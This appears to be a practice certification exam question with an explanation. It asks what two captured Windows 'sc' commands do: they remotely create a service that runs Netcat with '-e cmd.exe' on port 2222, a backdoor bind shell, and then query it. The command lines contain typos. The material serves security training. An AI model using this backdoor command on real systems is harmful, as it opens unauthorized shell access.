QuestionQ7

VerifiedLateral Movement and Privilege Escalation

While examining traffic from a tcpdump capture, you observe the following commands sent from a remote system to one of your web servers:

C:\>sc winternet.host.com create ncservicebinpath- "c:\tools\ncexe -I -p 2222 -e cmd.exe"  
C:\>sc vJnternet.host.com query ncservice.  

What is the purpose of these commands?

Explanation

Windows sc create can remotely create a service whose binary path launches Netcat in listening mode on port 2222 and invokes cmd.exe for connected clients, establishing a backdoor command shell. Netcat uses TCP by default when no UDP option is supplied. sc query ncservice checks the service and reports its status.

Community Discussion

No comments yet. Be the first to start the discussion!